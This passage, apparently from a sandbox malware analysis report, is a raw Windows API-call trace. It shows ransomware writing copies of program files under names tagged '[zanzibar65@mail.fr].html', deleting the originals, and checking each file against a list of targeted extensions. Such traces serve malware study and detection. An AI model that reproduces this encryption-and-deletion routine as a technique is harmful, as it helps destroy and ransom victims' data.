(hFile=0x1ec) returned 1 [0052.218] CloseHandle (hObject=0x1ec) returned 1 [0052.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.218] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0052.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.218] lstrlenW (lpString=".doc") returned 4 [0052.218] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.218] lstrlenW (lpString=".docx") returned 5 [0052.218] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.218] lstrlenW (lpString=".pdf") returned 4 [0052.218] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.218] lstrlenW (lpString=".xls") returned 4 [0052.218] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.218] lstrlenW (lpString=".xlsx") returned 5 [0052.218] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.219] lstrlenW (lpString=".ppt") returned 4 [0052.219] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString=".zip") returned 4 [0052.219] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".rar") returned 4 [0052.219] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".bz2") returned 4 [0052.219] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString=".7z") returned 3 [0052.219] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString=".dbf") returned 4 [0052.219] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString=".1cd") returned 4 [0052.219] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString=".jpg") returned 4 [0052.219] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.219] lstrlenW (lpString=".doc") returned 4 [0052.219] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".docx") returned 5 [0052.219] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.219] lstrlenW (lpString=".pdf") returned 4 [0052.219] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".xls") returned 4 [0052.219] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".xlsx") returned 5 [0052.220] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.220] lstrlenW (lpString=".ppt") returned 4 [0052.220] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.220] lstrlenW (lpString=".zip") returned 4 [0052.220] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".rar") returned 4 [0052.220] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".bz2") returned 4 [0052.220] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.220] lstrlenW (lpString=".7z") returned 3 [0052.220] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.220] lstrlenW (lpString=".dbf") returned 4 [0052.220] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.220] lstrlenW (lpString=".1cd") returned 4 [0052.220] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0052.220] lstrlenW (lpString=".jpg") returned 4 [0052.220] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.220] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0052.220] lstrlenW (lpString="DW20.EXE") returned 8 [0052.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0054.260] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=994184) returned 1 [0054.260] CloseHandle (hObject=0x220) returned 1 [0054.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0054.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0054.260] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.260] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.261] GetLastError () returned 0x0 [0054.261] ReadFile (in: hFile=0x220, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0054.279] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0054.297] ReadFile (in: hFile=0x220, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.297] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.297] SetEndOfFile (hFile=0x1f0) returned 1 [0054.297] CloseHandle (hObject=0x1f0) returned 1 [0054.298] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.298] SetEndOfFile (hFile=0x220) returned 1 [0054.446] CloseHandle (hObject=0x220) returned 1 [0054.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.446] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0054.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.446] lstrlenW (lpString=".doc") returned 4 [0054.446] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.446] lstrlenW (lpString=".docx") returned 5 [0054.446] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.446] lstrlenW (lpString=".pdf") returned 4 [0054.446] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.446] lstrlenW (lpString=".xls") returned 4 [0054.446] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.446] lstrlenW (lpString=".xlsx") returned 5 [0054.446] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.446] lstrlenW (lpString=".ppt") returned 4 [0054.446] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.446] lstrlenW (lpString=".zip") returned 4 [0054.447] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString=".rar") returned 4 [0054.447] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString=".bz2") returned 4 [0054.447] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.447] lstrlenW (lpString=".7z") returned 3 [0054.447] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.447] lstrlenW (lpString=".dbf") returned 4 [0054.447] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.447] lstrlenW (lpString=".1cd") returned 4 [0054.447] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.447] lstrlenW (lpString=".jpg") returned 4 [0054.447] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.447] lstrlenW (lpString=".doc") returned 4 [0054.447] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.447] lstrlenW (lpString=".docx") returned 5 [0054.447] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.447] lstrlenW (lpString=".pdf") returned 4 [0054.447] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString=".xls") returned 4 [0054.447] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString=".xlsx") returned 5 [0054.447] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.447] lstrlenW (lpString=".ppt") returned 4 [0054.447] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.448] lstrlenW (lpString=".zip") returned 4 [0054.448] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.448] lstrlenW (lpString=".rar") returned 4 [0054.448] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.448] lstrlenW (lpString=".bz2") returned 4 [0054.448] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.448] lstrlenW (lpString=".7z") returned 3 [0054.448] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.448] lstrlenW (lpString=".dbf") returned 4 [0054.448] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.448] lstrlenW (lpString=".1cd") returned 4 [0054.448] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0054.448] lstrlenW (lpString=".jpg") returned 4 [0054.448] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.448] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.448] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0054.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0054.449] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=712592) returned 1 [0054.449] CloseHandle (hObject=0x220) returned 1 [0054.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0054.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0054.449] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.449] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.449] GetLastError () returned 0x0 [0054.449] ReadFile (in: hFile=0x220, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xadf90, lpOverlapped=0x0) returned 1 [0054.462] WriteFile (in: hFile=0x230, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0054.474] ReadFile (in: hFile=0x220, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.474] WriteFile (in: hFile=0x230, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.474] SetEndOfFile (hFile=0x230) returned 1 [0054.475] CloseHandle (hObject=0x230) returned 1 [0054.475] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.475] SetEndOfFile (hFile=0x220) returned 1 [0054.481] CloseHandle (hObject=0x220) returned 1 [0054.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.481] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.481] lstrlenW (lpString=".doc") returned 4 [0054.481] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.481] lstrlenW (lpString=".docx") returned 5 [0054.481] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.481] lstrlenW (lpString=".pdf") returned 4 [0054.481] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString=".xls") returned 4 [0054.482] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString=".xlsx") returned 5 [0054.482] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.482] lstrlenW (lpString=".ppt") returned 4 [0054.482] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString=".zip") returned 4 [0054.482] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString=".rar") returned 4 [0054.482] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString=".bz2") returned 4 [0054.482] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.482] lstrlenW (lpString=".7z") returned 3 [0054.482] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString=".dbf") returned 4 [0054.482] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString=".1cd") returned 4 [0054.482] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString=".jpg") returned 4 [0054.482] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.482] lstrlenW (lpString=".doc") returned 4 [0054.482] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.482] lstrlenW (lpString=".docx") returned 5 [0054.482] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.483] lstrlenW (lpString=".pdf") returned 4 [0054.483] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.483] lstrlenW (lpString=".xls") returned 4 [0054.483] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.483] lstrlenW (lpString=".xlsx") returned 5 [0054.483] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.483] lstrlenW (lpString=".ppt") returned 4 [0054.483] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.483] lstrlenW (lpString=".zip") returned 4 [0054.483] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.483] lstrlenW (lpString=".rar") returned 4 [0054.483] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.483] lstrlenW (lpString=".bz2") returned 4 [0054.483] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.483] lstrlenW (lpString=".7z") returned 3 [0054.483] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.483] lstrlenW (lpString=".dbf") returned 4 [0054.483] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.483] lstrlenW (lpString=".1cd") returned 4 [0054.483] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.483] lstrlenW (lpString=".jpg") returned 4 [0054.483] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.483] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.483] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0054.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.354] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=320384) returned 1 [0055.354] CloseHandle (hObject=0x248) returned 1 [0055.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0055.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.354] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.354] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0055.354] GetLastError () returned 0x0 [0055.354] ReadFile (in: hFile=0x248, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0055.362] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0055.367] ReadFile (in: hFile=0x248, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.368] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.368] SetEndOfFile (hFile=0x1d8) returned 1 [0055.368] CloseHandle (hObject=0x1d8) returned 1 [0055.368] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.368] SetEndOfFile (hFile=0x248) returned 1 [0055.371] CloseHandle (hObject=0x248) returned 1 [0055.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.371] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0055.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0055.372] lstrlenW (lpString=".doc") returned 4 [0055.372] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.372] lstrlenW (lpString=".docx") returned 5 [0055.372] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.372] lstrlenW (lpString=".pdf") returned 4 [0055.372] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString=".xls") returned 4 [0055.372] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.372] lstrlenW (lpString=".xlsx") returned 5 